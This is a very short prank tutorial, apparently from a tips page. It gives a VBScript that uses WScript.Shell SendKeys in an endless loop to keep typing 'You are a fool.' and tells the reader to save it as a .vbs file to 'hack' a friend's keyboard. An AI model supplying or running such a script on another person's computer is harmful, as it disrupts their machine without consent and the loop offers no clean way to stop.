Hack your friend's keyboard and make him type "You are a fool" simultaneously:

Paste green coloured code in your notepad
Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop


save it as .vbs extension